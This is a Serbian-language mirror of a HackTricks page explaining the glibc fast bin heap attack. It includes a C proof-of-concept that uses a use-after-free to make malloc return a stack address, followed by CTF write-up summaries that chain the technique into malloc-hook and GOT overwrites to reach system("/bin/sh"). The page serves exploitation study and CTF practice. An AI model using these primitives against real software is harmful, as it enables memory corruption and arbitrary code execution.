Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-30 08:30:57 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/libc-heap/fast-bin-attack.md

12 KiB
Raw Blame History

Brza Binarna Napad

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

Osnovne Informacije

Za više informacija o tome šta je brza binarna provera posetite ovu stranicu:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

Zbog toga što je brza binarna provera jednostruko povezana lista, postoji mnogo manje zaštite nego u drugim binovima i samo modifikovanje adrese u oslobođenom brzom binu isecku je dovoljno da biste mogli dodeliti kasnije isečak na bilo kojoj memorijskoj adresi.

Kao sažetak:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

Možete pronaći potpuni primer u veoma dobro objašnjenom kodu na https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} Ako je moguće prebrisati vrednost globalne promenljive global_max_fast velikim brojem, to omogućava generisanje brzih bin chunk-ova većih veličina, potencijalno omogućavajući izvođenje brzih bin napada u scenarijima gde to ranije nije bilo moguće. Ova situacija je korisna u kontekstu napada velikim binom i napada nesortiranim binom. {% endhint %}

Primeri

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Moguće je alocirati chunk-ove, osloboditi ih, pročitati njihov sadržaj i popuniti ih (sa ranjivošću prelivanja).
  • Konsolidacija chunk-a za infoleak: Tehnika se uglavnom zloupotrebljava prelivanjem kako bi se stvorila lažna prev_size, tako da se jedan prethodni chunk stavi unutar većeg, pa kada se alocira veći chunk koji sadrži još jedan chunk, moguće je ispisati njegove podatke i procuriti adresu do libc-a (main_arena+88).
  • Prepisivanje malloc hook-a: Za ovo, i zloupotrebljavajući prethodnu situaciju preklapanja, bilo je moguće imati 2 chunk-a koji su pokazivali na istu memoriju. Stoga, oslobađajući ih oboje (oslobađajući još jedan chunk između da bi se izbegle zaštite), bilo je moguće imati isti chunk u brzom binu 2 puta. Zatim, bilo je moguće ponovo ga alocirati, prepisati adresu sledećeg chunk-a da pokazuje malo pre __malloc_hook (tako da pokazuje na integer koji malloc smatra slobodnom veličinom - još jedan zaobilazak), ponovo ga alocirati, a zatim alocirati još jedan chunk koji će primiti adresu do malloc hook-ova.
    Na kraju je jedan gadget upisan tamo.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Postoji prelivanje hipa i korišćenje nakon oslobađanja i duplo oslobađanje jer kada se chunk oslobodi moguće je ponovo koristiti i ponovo osloboditi pokazivače
  • Libc info leak: Samo oslobodite neke chunk-ove i dobićete pokazivač do dela lokacije glavne arene. Kako možete ponovo koristiti oslobađene pokazivače, samo pročitajte ovu adresu.
  • Napad brzim binom: Svi pokazivači na alokacije čuvaju se unutar niza, pa možemo osloboditi par brzih bin chunk-ova i u poslednjem prepisati adresu da pokazuje malo pre ovog niza pokazivača. Zatim, alocirajte par chunk-ova iste veličine i prvo ćemo dobiti legitimni, a zatim lažni koji sadrži niz pokazivača. Sada možemo prepisati ove alokacijske pokazivače da bi adresa GOT-a free pokazivala na system, a zatim napisati "/bin/sh" u chunk 1 da bismo zatim pozvali free(chunk1) što će umesto toga izvršiti system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Još jedan primer zloupotrebe prelivanja jednim bajtom da se konsoliduju chunk-ovi u nesortirani bin i dobije libc infoleak, a zatim izvede napad brzim binom da se prepisivanjem malloc hook-a sa adresom jednog gadgeta
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Nakon infoleaka zloupotrebom nesortiranog bina sa UAF-om da procuri adresa libc-a i adresa PIE-a, eksploatacija ovog CTF-a koristila je napad brzim binom da alocira chunk na mestu gde su se nalazili pokazivači ka kontrolisanim chunk-ovima tako da je bilo moguće prepisati određene pokazivače da bi se napisao jedan gadget u GOT-u
  • Možete pronaći napad brzim binom zloupotrebljen kroz napad nesortiranim binom:
  • Imajte na umu da je uobičajeno pre izvođenja napada brzim binom zloupotrebiti liste slobodnih chunk-ova da bi procurili libc/heap adrese (kada je potrebno).
  • Robot Factory. BlackHat MEA CTF 2022
  • Možemo alocirati samo chunk-ove veće od 0x100.
  • Prepišite global_max_fast koristeći napad nesortiranim binom (radi 1/16 puta zbog ASLR-a, jer moramo modifikovati 12 bitova, ali moramo modifikovati 16 bitova).
  • Napad brzim binom da se modifikuje globalni niz chunk-ova. Ovo daje proizvoljni read/write primitiv, što omogućava modifikaciju GOT-a i postavljanje neke funkcije da pokazuje na system.

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}